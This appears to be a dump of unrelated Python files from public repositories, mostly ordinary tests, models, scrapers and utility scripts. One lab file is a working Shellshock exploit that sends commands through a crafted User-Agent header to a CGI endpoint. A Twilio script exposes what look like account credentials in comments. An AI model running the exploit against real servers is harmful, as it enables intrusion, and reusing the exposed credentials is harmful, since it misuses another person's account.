] | 2 | 2021-12-16T23:06:48.000Z | 2022-01-31T04:28:54.000Z | self_annotation_test.py | pradeep90/annotation_collector | 49dcbe4de9a40f4efe55495bcb128c03cb46aff2 | [
"MIT"
] | null | null | null | self_annotation_test.py | pradeep90/annotation_collector | 49dcbe4de9a40f4efe55495bcb128c03cb46aff2 | [
"MIT"
] | null | null | null | import unittest
import libcst as cst
from textwrap import dedent
from typing import List
from self_annotation import methods_with_self_annotation, methods_returning_self
from util import statement_to_string
def get_self_annotations(source: str) -> List[str]:
return [
statement_to_string(method)
fo... | 31.881818 | 84 | 0.454234 |
d90d433a44d595d1584ff8bf433f06daa6c6113d | 994 | py | Python | tspdb/src/data/generateHarmonics.py | swipswaps/tspdb | 9c085cef7164c114bb0952519b9715dcfa072b34 | [
"Apache-2.0"
] | 43 | 2019-12-10T00:05:51.000Z | 2022-03-31T21:21:20.000Z | tspdb/src/data/generateHarmonics.py | swipswaps/tspdb | 9c085cef7164c114bb0952519b9715dcfa072b34 | [
"Apache-2.0"
] | 5 | 2021-05-09T01:12:31.000Z | 2022-03-29T17:34:15.000Z | tspdb/src/data/generateHarmonics.py | swipswaps/tspdb | 9c085cef7164c114bb0952519b9715dcfa072b34 | [
"Apache-2.0"
] | 14 | 2020-01-13T21:20:07.000Z | 2022-03-31T02:11:26.000Z | ######################################################
#
# Generate Harmonics data
#
######################################################
import numpy as np
def generate(sineCoeffArray, sinePeriodsArray, cosineCoeffArray, cosinePeriodsArray, timeSteps, tStart = 0):
if (len(sineCoeffArray) != len(sinePerio... | 35.5 | 109 | 0.623742 |
794bfb426d52ad43e3e2f35e2437243e352e4c07 | 291 | py | Python | Flask/FastAPI/Django/Python-API-Development.freeCodeCamp.org/07-Pydantic-Models/schemas.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | Flask/FastAPI/Django/Python-API-Development.freeCodeCamp.org/07-Pydantic-Models/schemas.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | Flask/FastAPI/Django/Python-API-Development.freeCodeCamp.org/07-Pydantic-Models/schemas.py | shihab4t/Software-Development | 0843881f2ba04d9fca34e44443b5f12f509f671e | [
"Unlicense"
] | null | null | null | from pydantic import BaseModel
from datetime import datetime
class PostBase(BaseModel):
title: str
content: str
published: bool = True
class PostCreate(PostBase):
pass
class Post(PostBase):
id: int
create_at: datetime
class Config:
orm_mode = True
| 13.857143 | 30 | 0.683849 |
30b1168d544597cb161b7ead4d44f5a53a69f27f | 2,072 | py | Python | scripts/wiki-info.py | evildrummer/1337-observer | 621eb16711d9f70a59fb5524fc990dcab1004b14 | [
"MIT"
] | 1 | 2022-01-28T22:29:44.000Z | 2022-01-28T22:29:44.000Z | scripts/wiki-info.py | evildrummer/1337-observer | 621eb16711d9f70a59fb5524fc990dcab1004b14 | [
"MIT"
] | null | null | null | scripts/wiki-info.py | evildrummer/1337-observer | 621eb16711d9f70a59fb5524fc990dcab1004b14 | [
"MIT"
] | 1 | 2022-01-28T21:10:41.000Z | 2022-01-28T21:10:41.000Z | import argparse
import requests
from bs4 import BeautifulSoup
import urllib.parse
import re
def main(input_file, output_file):
# use input file
with open(input_file, "r") as myfile:
content = myfile.readlines()
for line in content:
url = get_website(line)
if url :
... | 33.967213 | 123 | 0.565637 |
cceb767b76a624c0a5613aa619c966a9f77f41b3 | 581 | py | Python | code/selfish_proxy/cli.py | simonmulser/master-thesis | 5ca2ddda377a0eede5a3c50866e0f90292c5448f | [
"CC-BY-4.0"
] | null | null | null | code/selfish_proxy/cli.py | simonmulser/master-thesis | 5ca2ddda377a0eede5a3c50866e0f90292c5448f | [
"CC-BY-4.0"
] | null | null | null | code/selfish_proxy/cli.py | simonmulser/master-thesis | 5ca2ddda377a0eede5a3c50866e0f90292c5448f | [
"CC-BY-4.0"
] | 1 | 2019-06-05T09:10:30.000Z | 2019-06-05T09:10:30.000Z | import xmlrpclib
import argparse
server = xmlrpclib.ServerProxy('http://localhost:8000')
def get_best_public_block_hash():
print(server.get_best_public_block_hash())
def get_start_hash():
print(server.get_start_hash())
FUNCTION_MAP = {
'get_best_public_block_hash': get_best_public_block_hash,
'get... | 23.24 | 98 | 0.77969 |
15e3f235200baf05a691bbe46d3344ac787a7e08 | 236 | py | Python | Problems/Dynamic Programming/Hard/TrappingRainWater/test_trap_rain_water.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Dynamic Programming/Hard/TrappingRainWater/test_trap_rain_water.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Dynamic Programming/Hard/TrappingRainWater/test_trap_rain_water.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from unittest import TestCase
from trap_rain_water import trap
class Test(TestCase):
def test_trap(self):
self.assertEqual(trap([0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1]), 6)
self.assertEqual(trap([4, 2, 0, 3, 2, 5]), 9) | 33.714286 | 71 | 0.618644 |
ba53812042c8cd49922e9f56094c01118cb404a8 | 383 | py | Python | inn_checker/inn_check/migrations/0002_innmodel_ip.py | bmu0/inn_checker | 3c5f736c179af5c3a4bb80a5c403aee0969ea5e9 | [
"MIT"
] | null | null | null | inn_checker/inn_check/migrations/0002_innmodel_ip.py | bmu0/inn_checker | 3c5f736c179af5c3a4bb80a5c403aee0969ea5e9 | [
"MIT"
] | null | null | null | inn_checker/inn_check/migrations/0002_innmodel_ip.py | bmu0/inn_checker | 3c5f736c179af5c3a4bb80a5c403aee0969ea5e9 | [
"MIT"
] | null | null | null | # Generated by Django 3.2 on 2022-03-11 06:01
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('inn_check', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='innmodel',
name='IP',
field... | 20.157895 | 62 | 0.584856 |
244649b71a831d0866f160585f58c68bfa580954 | 190 | py | Python | Backend/tests/test_skeleton.py | olivaresf/AWattPrice | db50930a016a4263638af64704d3233cc27e142b | [
"BSD-3-Clause"
] | 8 | 2020-10-22T14:47:54.000Z | 2022-01-23T20:17:51.000Z | v1_backend/tests/test_skeleton.py | sp4c38/AwattarApp | b914e8042e5cdcb84485d6d45133a00244662bda | [
"BSD-3-Clause"
] | 75 | 2020-11-16T16:13:28.000Z | 2022-03-27T09:45:56.000Z | v1_backend/tests/test_skeleton.py | sp4c38/AwattarApp | b914e8042e5cdcb84485d6d45133a00244662bda | [
"BSD-3-Clause"
] | 4 | 2020-11-10T21:21:08.000Z | 2021-10-20T12:35:33.000Z | # -*- coding: utf-8 -*-
import pytest
from awattprice.poll import main
__author__ = "Frank Becker"
__copyright__ = "Frank Becker"
__license__ = "mit"
def test_nothing():
assert True
| 14.615385 | 32 | 0.705263 |
068472b37a923d39eaa69065bcef300bb0c08538 | 635 | py | Python | python_gui_tkinter/KALU/GARBAGE/SMS/sms.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python_gui_tkinter/KALU/GARBAGE/SMS/sms.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python_gui_tkinter/KALU/GARBAGE/SMS/sms.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | # Download the helper library from https://www.twilio.com/docs/python/install
from twilio.rest import Client
# Your Account Sid and Auth Token from twilio.com/console
account_sid = '' #'AC13c16edc8f9f3ae37006470f6a7c4eca' #'AC13c16edc8f9f3ae37006470f6a7c4eca'
auth_token = '' #'5001944d507e84ba1f4809ad9a15858e' ... | 35.277778 | 96 | 0.629921 |
ccb7138859e0220beed21a63659d150c9301378b | 2,697 | py | Python | Packs/Lokpath_Keylight/Scripts/KeylightCreateIssue/KeylightCreateIssue.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Lokpath_Keylight/Scripts/KeylightCreateIssue/KeylightCreateIssue.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Lokpath_Keylight/Scripts/KeylightCreateIssue/KeylightCreateIssue.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import *
import json
"""
This script is used to simplify the process of creating or updating a record in Keylight (v2).
You can add fields in the record as script arguments and/or in the
code. The format for the `kl-create-record` and `kl-update-record` commands a... | 35.96 | 117 | 0.609566 |
d1945bdd004e5a11a34f0860b4869f3b06fdd324 | 4,911 | py | Python | test/test_config.py | st3fan/sphinx-automation-experiment | c92c8400770c6c604e2451e4f1e71957fc4c5ef8 | [
"Apache-2.0"
] | 731 | 2018-06-01T21:48:43.000Z | 2022-03-29T08:21:42.000Z | test/test_config.py | st3fan/sphinx-automation-experiment | c92c8400770c6c604e2451e4f1e71957fc4c5ef8 | [
"Apache-2.0"
] | 124 | 2018-06-19T05:59:50.000Z | 2022-03-31T18:17:59.000Z | test/test_config.py | st3fan/sphinx-automation-experiment | c92c8400770c6c604e2451e4f1e71957fc4c5ef8 | [
"Apache-2.0"
] | 64 | 2018-06-26T14:12:53.000Z | 2022-03-20T07:33:33.000Z | from pathlib import Path
from unittest.mock import patch
import pytest
import pghoard.config
from pghoard.rohmu.errors import InvalidConfigurationError
from .base import PGHoardTestCase
def make_mock_find_pg_binary(out_command, out_version):
def mock_find_pg_binary(wanted_program, versions=None, pg_bin_directo... | 46.330189 | 138 | 0.693545 |
ae8ed3919fe19c84d9de1a7379b5b2c101f5fd33 | 344 | py | Python | Boot2Root/vulnhub/Sokar/scripts/shellshock.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 21 | 2016-02-06T14:30:01.000Z | 2020-09-11T05:39:17.000Z | Boot2Root/vulnhub/Sokar/scripts/shellshock.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | null | null | null | Boot2Root/vulnhub/Sokar/scripts/shellshock.py | Kan1shka9/CTFs | 33ab33e094ea8b52714d5dad020c25730e91c0b0 | [
"MIT"
] | 7 | 2017-02-02T16:27:02.000Z | 2021-04-30T17:14:53.000Z | import requests
while True:
cmd = input("> ")
headers = {
'User-Agent' : '() { :; }; echo "Content-Type: text/html"; echo; export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; %s' % (cmd)
}
print((requests.get('http://192.168.1.31:591/cgi-bin/cat', headers = headers, ti... | 38.222222 | 162 | 0.590116 |
4e8e19eba29b8bcd86296d684bc6d97791e0ab70 | 1,081 | py | Python | src/onegov/feriennet/collections/activity.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/feriennet/collections/activity.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/feriennet/collections/activity.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.activity import ActivityCollection
from onegov.feriennet.policy import ActivityQueryPolicy
from sqlalchemy.orm import joinedload
class VacationActivityCollection(ActivityCollection):
# type is ignored, but present to keep the same signature as the superclass
def __init__(self, session, type=None,... | 28.447368 | 79 | 0.656799 |
0936b2231bbadedf6c7391b32fd6a5ba9146c24d | 488 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v8_1/removed_report_support_hours.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:55:29.000Z | 2021-04-29T14:55:29.000Z | frappe-bench/apps/erpnext/erpnext/patches/v8_1/removed_report_support_hours.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v8_1/removed_report_support_hours.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | 1 | 2021-04-29T14:39:01.000Z | 2021-04-29T14:39:01.000Z | # Copyright (c) 2017, Frappe and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
def execute():
frappe.db.sql(""" update `tabAuto Email Report` set report = %s
where name = %s""", ('Support Hour Distribution', 'Support Hours'))
frappe.d... | 34.857143 | 71 | 0.715164 |
eef2f951dda965fa12bea2cadfafa10d8cb185a8 | 409 | py | Python | packages/watchmen-model/src/watchmen_model/admin/user_group.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-model/src/watchmen_model/admin/user_group.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-model/src/watchmen_model/admin/user_group.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from typing import List
from pydantic import BaseModel
from watchmen_model.common import IndicatorId, OptimisticLock, SpaceId, TenantBasedTuple, UserGroupId, UserId
class UserGroup(TenantBasedTuple, OptimisticLock, BaseModel):
userGroupId: UserGroupId = None
name: str = None
description: str = None
userIds: Lis... | 27.266667 | 109 | 0.794621 |
a303b6f2b7875ec8a36af087bf43217cb4442cb5 | 2,651 | py | Python | src/visuanalytics/analytics/precondition/precondition.py | visuanalytics/visuanalytics | f9cce7bc9e3227568939648ddd1dd6df02eac752 | [
"MIT"
] | 3 | 2020-08-24T19:02:09.000Z | 2021-05-27T20:22:41.000Z | src/visuanalytics/analytics/precondition/precondition.py | SWTP-SS20-Kammer-2/Data-Analytics | 23f71b49efed53bba2887d68e389c732566e1932 | [
"MIT"
] | 342 | 2020-08-13T10:24:23.000Z | 2021-08-12T14:01:52.000Z | src/visuanalytics/analytics/precondition/precondition.py | visuanalytics/visuanalytics | f9cce7bc9e3227568939648ddd1dd6df02eac752 | [
"MIT"
] | 8 | 2020-09-01T07:11:18.000Z | 2021-04-09T09:02:11.000Z | import logging
import time
from datetime import date
from visuanalytics.analytics.apis.api import fetch
from visuanalytics.analytics.util.type_utils import get_type_func, register_type_func
from visuanalytics.analytics.control.procedures.step_data import StepData
from visuanalytics.analytics.util.step_errors import Pr... | 42.079365 | 142 | 0.741607 |
e91a3c5b14462d60ddbba2ceaac02201631ba6da | 2,159 | py | Python | research/cv/MaskedFaceRecognition/utils/distance.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | research/cv/MaskedFaceRecognition/utils/distance.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 3 | 2021-10-30T14:44:57.000Z | 2022-02-14T06:57:57.000Z | research/cv/MaskedFaceRecognition/utils/distance.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 24 | 2021-10-15T08:32:45.000Z | 2022-03-24T18:45:20.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 37.877193 | 96 | 0.66466 |
6e89acd1d140fefb3b14e8ee71ab03a7cbf1676e | 12,431 | py | Python | benchmark/playground.py | zentonllo/tfg-tensorflow | 095469a906de26984b4d781699e76bec02b1ef75 | [
"MIT"
] | null | null | null | benchmark/playground.py | zentonllo/tfg-tensorflow | 095469a906de26984b4d781699e76bec02b1ef75 | [
"MIT"
] | null | null | null | benchmark/playground.py | zentonllo/tfg-tensorflow | 095469a906de26984b4d781699e76bec02b1ef75 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Fri May 26 11:03:21 2017
@author: Alberto Terceño
Module that uses deep neural networks to save logs and detailed results of the training process
The code was built up from scratch
"""
import tensorflow as tf
import argparse
from dataset import Dataset
from dnn_multiclass impo... | 36.136628 | 172 | 0.63776 |
42ce26a32e19cd517c59d4e86c92f15c7b2064ac | 185 | py | Python | apps/projects/apps.py | IT-PM-OpenAdaptronik/Webapp | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | 2 | 2017-12-17T21:28:22.000Z | 2018-02-02T14:44:58.000Z | apps/projects/apps.py | IT-PM-OpenAdaptronik/Webapp | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | 118 | 2017-10-31T13:45:09.000Z | 2018-02-24T20:51:42.000Z | apps/projects/apps.py | OpenAdaptronik/Rattler | c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _
class ProjectsConfig(AppConfig):
name = 'apps.projects'
verbose_name = _('projects')
| 20.555556 | 54 | 0.762162 |
6e1113e0459faecb4d28f706ab4f824c23f88144 | 3,262 | py | Python | verto/processors/GenericTagBlockProcessor.py | uccser/verto | d36aa88b208f1700fafc033679bd1e9775496d25 | [
"MIT"
] | 4 | 2017-04-10T06:09:54.000Z | 2019-05-04T02:07:40.000Z | verto/processors/GenericTagBlockProcessor.py | uccser/verto | d36aa88b208f1700fafc033679bd1e9775496d25 | [
"MIT"
] | 268 | 2017-04-03T20:40:46.000Z | 2022-02-04T20:10:08.000Z | verto/processors/GenericTagBlockProcessor.py | uccser/kordac | d36aa88b208f1700fafc033679bd1e9775496d25 | [
"MIT"
] | 1 | 2019-01-07T15:46:31.000Z | 2019-01-07T15:46:31.000Z | from markdown.blockprocessors import BlockProcessor
from verto.processors.utils import parse_arguments, process_parameters
from verto.utils.HtmlParser import HtmlParser
import re
class GenericTagBlockProcessor(BlockProcessor):
''' A generic processor that matches '{<name> args}' and replaces
with the accordin... | 38.376471 | 112 | 0.640405 |
25020dbdf664c4300255a8453c4f9d1b0a94b026 | 598 | py | Python | string_manipulation/longest_palindrome_substring.py | daesookimds/Algorithm | 76f4cbfe9000e8c1736f470138499e7c735fecaa | [
"MIT"
] | null | null | null | string_manipulation/longest_palindrome_substring.py | daesookimds/Algorithm | 76f4cbfe9000e8c1736f470138499e7c735fecaa | [
"MIT"
] | null | null | null | string_manipulation/longest_palindrome_substring.py | daesookimds/Algorithm | 76f4cbfe9000e8c1736f470138499e7c735fecaa | [
"MIT"
] | null | null | null |
def longest_palindrome(s: str) -> str:
def expand(left: int, right: int) -> str:
while left >= 0 and right < len(s) and s[left] == s[right]:
left -= 1
right += 1
return s[left + 1:right]
if len(s) < 2 or s == s[::-1]:
return s
result = ''
for i in rang... | 22.148148 | 69 | 0.545151 |
c2655760805efbcbf83e25a201933c3ac4906ce6 | 754 | py | Python | iwwb-download.py | maximiliankolb/iwwb-qm | 2a67c3ec3976b8de6532100ad27d4f5c91b31890 | [
"BSD-3-Clause"
] | null | null | null | iwwb-download.py | maximiliankolb/iwwb-qm | 2a67c3ec3976b8de6532100ad27d4f5c91b31890 | [
"BSD-3-Clause"
] | null | null | null | iwwb-download.py | maximiliankolb/iwwb-qm | 2a67c3ec3976b8de6532100ad27d4f5c91b31890 | [
"BSD-3-Clause"
] | null | null | null | # parse json file to retrieve qm & download individual results to iwwb-qm/
# 2019-05-13 by maximilian
import urllib.request
from datetime import datetime
import json
import time
pathJson = 'iwwb-source.json'
pathFolder = 'iwwb-qm/'
json_file = open(pathJson, 'r')
json_file_content = json_file.read()
json_arrays = js... | 25.133333 | 74 | 0.738727 |
6c034a7ca2ece6dadf69c287cd0ea8bbdf097bc4 | 1,390 | py | Python | Packs/CortexXDR/Scripts/DBotGroupXDRIncidents/DBotGroupXDRIncidents.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CortexXDR/Scripts/DBotGroupXDRIncidents/DBotGroupXDRIncidents.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CortexXDR/Scripts/DBotGroupXDRIncidents/DBotGroupXDRIncidents.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | from CommonServerPython import *
model_name = 'xdr_clustering'
field_for_grouping = 'xdralerts'
field_for_name = 'xdralerts.causalityactorprocessimagename'
return_type = demisto.args()['returnWidgetType']
if return_type == 'incidents':
res = demisto.executeCommand('DBotShowClusteringModelInfo', {
'search... | 36.578947 | 105 | 0.671942 |
666a35029fe3a6fb6d772f9feb33f0dc101dda36 | 1,205 | py | Python | DataStructures/DisjoinSet/Communities.py | baby5/HackerRank | 1e68a85f40499adb9b52a4da16936f85ac231233 | [
"MIT"
] | null | null | null | DataStructures/DisjoinSet/Communities.py | baby5/HackerRank | 1e68a85f40499adb9b52a4da16936f85ac231233 | [
"MIT"
] | null | null | null | DataStructures/DisjoinSet/Communities.py | baby5/HackerRank | 1e68a85f40499adb9b52a4da16936f85ac231233 | [
"MIT"
] | null | null | null | #coding:utf-8
def find(disjoin_set, i):
if disjoin_set[i] <= -1:
return i
else:
disjoin_set[i] = find(disjoin_set, disjoin_set[i])
return disjoin_set[i]
N, Q = map(int, raw_input().split())
disjoin_set = [-1] * (N+1)
for _ in xrange(Q):
s = raw_input()
if s.startswith('Q'):
... | 23.173077 | 71 | 0.495436 |
dd7aeba908670838be98b1a649a4354c13cd0ecd | 1,456 | py | Python | DQN/CartPole/run_this.py | pickxiguapi/rl-algorithm | a57991acd178077fd7f51bcd4ae2ee58492475c2 | [
"MIT"
] | 2 | 2021-01-06T09:45:23.000Z | 2021-04-21T09:39:14.000Z | DQN/CartPole/run_this.py | pickxiguapi/rl-algorithm | a57991acd178077fd7f51bcd4ae2ee58492475c2 | [
"MIT"
] | null | null | null | DQN/CartPole/run_this.py | pickxiguapi/rl-algorithm | a57991acd178077fd7f51bcd4ae2ee58492475c2 | [
"MIT"
] | null | null | null | # -*- encoding: utf-8 -*-
"""
@File : run_this.py
@Time : 2020/12/4
@Author : Yuan Yifu
"""
import gym
from DQN_brain import DQN
env = gym.make('CartPole-v0')
env = env.unwrapped
# print(env.action_space.n) 2
# print(env.observation_space.shape[0]) 4
dqn = DQN()
MEMORY_CAPACITY = 2000
def run():
print('\n... | 26.472727 | 95 | 0.521978 |
06d8652b894df20c7913bdd4dc7ba0de4d356eea | 8,955 | py | Python | brick/http.py | xsank/bottle | 4c228043ea31811fffd8eb30914d025c1fd43dc0 | [
"MIT"
] | 9 | 2015-01-06T01:32:43.000Z | 2017-03-01T18:34:54.000Z | brick/http.py | jude90/bottle | 4c228043ea31811fffd8eb30914d025c1fd43dc0 | [
"MIT"
] | null | null | null | brick/http.py | jude90/bottle | 4c228043ea31811fffd8eb30914d025c1fd43dc0 | [
"MIT"
] | 4 | 2015-02-05T09:48:43.000Z | 2016-02-22T15:04:35.000Z | '''
Created on 2013-4-21
@author: Xsank
'''
import cgi
from Cookie import SimpleCookie
from StringIO import StringIO
from tempfile import TemporaryFile
from urllib import quote as urlquote
from urlparse import urlunsplit,parse_qs
from structure import HeaderDict,MultiDict
from util import depr,path_shift,parse_auth,... | 34.980469 | 95 | 0.590061 |
664012185793a3a146ab60fac8af78377b0a4aa0 | 2,141 | py | Python | website/apps/blog/models.py | stahlnow/stahlnow | 265dd46c54f68173071d1c86218201d6e618ceeb | [
"MIT"
] | 1 | 2017-03-14T08:08:31.000Z | 2017-03-14T08:08:31.000Z | website/apps/blog/models.py | stahlnow/stahlnow | 265dd46c54f68173071d1c86218201d6e618ceeb | [
"MIT"
] | null | null | null | website/apps/blog/models.py | stahlnow/stahlnow | 265dd46c54f68173071d1c86218201d6e618ceeb | [
"MIT"
] | null | null | null | from django.db import models
from django.utils.translation import ugettext_lazy as _
from django.contrib.auth.models import User
from django.utils.timezone import now
from blog.managers import PublicManager
from taggit.managers import TaggableManager
class Category(models.Model):
"""Category model."""
tit... | 29.328767 | 76 | 0.658104 |
665138419969a4a1e38c6a6260c09958fdc447bb | 21,821 | py | Python | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pybedtools-0.7.6-py2.7-linux-x86_64.egg/pybedtools/helpers.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 1 | 2019-07-29T02:53:51.000Z | 2019-07-29T02:53:51.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pybedtools-0.7.6-py2.7-linux-x86_64.egg/pybedtools/helpers.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 1 | 2021-09-11T14:30:32.000Z | 2021-09-11T14:30:32.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pybedtools-0.7.6-py2.7-linux-x86_64.egg/pybedtools/helpers.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 2 | 2016-12-19T02:27:46.000Z | 2019-07-29T02:53:54.000Z | from __future__ import print_function
import sys
import os
import tempfile
import subprocess
import random
import string
import glob
import struct
import atexit
import six
import pysam
from six.moves import urllib
from . import cbedtools
from . import settings
from . import filenames
from . import genome_registry
from ... | 31.039829 | 106 | 0.552266 |
afd49eaad94da79c1a03b21a1fa9bf0e6ff50d67 | 264 | py | Python | 7-assets/_SNIPPETS/bryan-guner-gists/pypractice/multiplication-table.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | 7-assets/_SNIPPETS/bryan-guner-gists/pypractice/multiplication-table.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | 7-assets/_SNIPPETS/bryan-guner-gists/pypractice/multiplication-table.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | # take a number as an input from user and print a multiplication table of that number
def multiplication_table():
value = int(input('please type a number: '))
for num in range(1, 11):
print(f'{value} * {num} = {value * num}' )
multiplication_table() | 29.333333 | 85 | 0.67803 |
bb8c08fbf65670b5f9a49f0058783a8bd8f24e70 | 2,030 | py | Python | teams/team_joy_of_pink/Xilinx_Hackathon_Master/videoHDMI_FD.py | AbinMM/PYNQ_Hackathon_2017 | 711c75e8590b02f313295cef712188691690c948 | [
"BSD-3-Clause"
] | 19 | 2017-10-08T03:18:38.000Z | 2020-07-07T02:34:18.000Z | teams/team_joy_of_pink/Xilinx_Hackathon_Master/videoHDMI_FD.py | AbinMM/PYNQ_Hackathon_2017 | 711c75e8590b02f313295cef712188691690c948 | [
"BSD-3-Clause"
] | 2 | 2017-10-08T03:15:10.000Z | 2017-10-10T16:10:32.000Z | teams/team_joy_of_pink/Xilinx_Hackathon_Master/videoHDMI_FD.py | AbinMM/PYNQ_Hackathon_2017 | 711c75e8590b02f313295cef712188691690c948 | [
"BSD-3-Clause"
] | 28 | 2017-10-07T23:24:36.000Z | 2022-03-29T08:03:40.000Z | from pynq.overlays.base import BaseOverlay
from pynq.lib.video import *
from matplotlib import pyplot as plt
import numpy as np
import cv2
base = BaseOverlay("base.bit")
# monitor configuration: 640*480 @ 60Hz
Mode = VideoMode(640,480,24)
hdmi_out = base.video.hdmi_out
hdmi_out.configure(Mode,PIXEL_BGR)
hdmi_out.sta... | 29.42029 | 63 | 0.692611 |
bbb110fe24d1f99f3cd3fc4417e1ebb0e1097ca3 | 238 | py | Python | Online-Judges/CodingBat/Python/Logic-02/Logic_2-04-no_teen_sum.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | 3 | 2021-06-15T01:19:23.000Z | 2022-03-16T18:23:53.000Z | Online-Judges/CodingBat/Python/Logic-02/Logic_2-04-no_teen_sum.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | Online-Judges/CodingBat/Python/Logic-02/Logic_2-04-no_teen_sum.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | def fix_teen(n):
if (n >= 13 and n <= 14) or (n >= 17 and n <= 19):
return 0
